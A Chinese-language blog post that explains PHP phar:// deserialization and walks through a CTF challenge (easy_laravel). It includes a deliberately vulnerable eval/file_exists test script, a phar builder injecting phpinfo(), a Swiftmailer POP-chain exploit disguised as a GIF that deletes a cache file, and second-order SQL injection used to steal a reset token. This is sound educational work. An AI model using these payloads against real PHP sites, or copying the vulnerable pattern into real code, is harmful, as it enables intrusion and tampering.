Altm4nz's blog

WEB划水选手

phar反序列化rce

前言

在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。

原理

在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php
解析过程中会触发php_var_unserialize()函数,造成反序列化。

测试

漏洞利用条件

1.服务器上存在可控文件
2.服务器端引用了可以利用的魔术方法
3.文件操作函数的参数可控

测试代码

在本地搭建一个简单的环境来测试(php7.1+apache2)
本地测试代码

1
2
3
4
5
6
7
8
9
10
11
<?php
class altman
{
private $a='echo 'test'';
function __destruct()
{
eval($this->a);
}
}
file_exists($_GET['file']);
?>

生成phar文件

首先要将本地php.ini中的phar.readonly选项设置为Off
然后构造一个生成phar文件的php脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class altman
{
private $a='echo "test";';
function __destruct()
{
eval($this->a);
}
}
$f = new altman();
$f->a='phpinfo()';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成如下phar文件,可以看到文件中metadata部分含有我们构造的恶意序列化代码

触发漏洞

通过测试代码中的file_exists()来访问phar文件,利用phar://协议解析文件。

成功执行phpinfo

护网杯 easy_lavarel

题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel

浏览源码

查看首页注释中拿到整个网站的源码,浏览发现使用lavarel框架写的。
先查看路由

直接去看一下flag获取方式

没什么用,继续全局搜索flag

定位到关键点,到这里就题目意图就很明显了,要登录邮箱为admin@qvq.im的账号来查看flag。

sql注入

尽管可以注册任意用户,但是无法覆盖邮箱,寻找其他突破口
在NoteController.php中找到一处注入点

显然二次注入,常规的union注入拿到管理员密码

有点自闭,密码加密过的,无法破解,只能另寻他路来登录管理员账号

重置密码

发现了重置密码功能,仔细读代码,发现只要得到账号的token,就能拿到重置密码的link

token在password_resets表中
进行注入

然后直接访问link /password/reset/{token}重置管理员密码
成功登陆

发现noflag ???

Blade

Blade 是 laravel 提供的一个简单强大的模板引擎,它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变。
由于旧的缓存存在,所以我们访问flag时会加载缓存,从而无法访问到新的flag。
所以这里需要想办法删除掉blade文件缓存。
先找到缓存文件的路径

1
2
3
4
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}

又有提示nginx默认配置,那么可以找到flag文件的path是

1
/usr/share/nginx/html/resources/views/auth/flag.blade.php

那么最终得到

1
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

POP CHAIN

已经确认了缓存文件的目录。下面就要寻找一个可控的删除函数。
通过composer.json,安装网站的组件。

在组件中寻找删除函数,全局搜索定位unlink()
最终在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中找到了一个可以利用的_destruck()

phar反序列化

发现一个check很可疑,查看源码

很明显的一个file_exists函数,这不就是可以出发phar反序列化的函数吗?

到这里整个题目思路就很明确了:
①构造phar文件并上传
②通过check触发file_exists()引发反序列化
③执行unlink删除旧的缓存文件
④再次访问flag

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;

/** The path to the file */
private $_path;

/** The mode this file is opened in for writing */
private $_mode;

/** A lazy-loaded resource handle for reading the file */
private $_reader;

/** A lazy-loaded resource handle for writing the file */
private $_writer;

/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;

/** If stream is seekable true/false, or null if not known */
private $_seekable = null;

/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';

if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}

/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

check

上传文件后,在check处抓包,控制path值,利用phar://去解析我们上传的文件,造成反序列化。

然后再去请求flag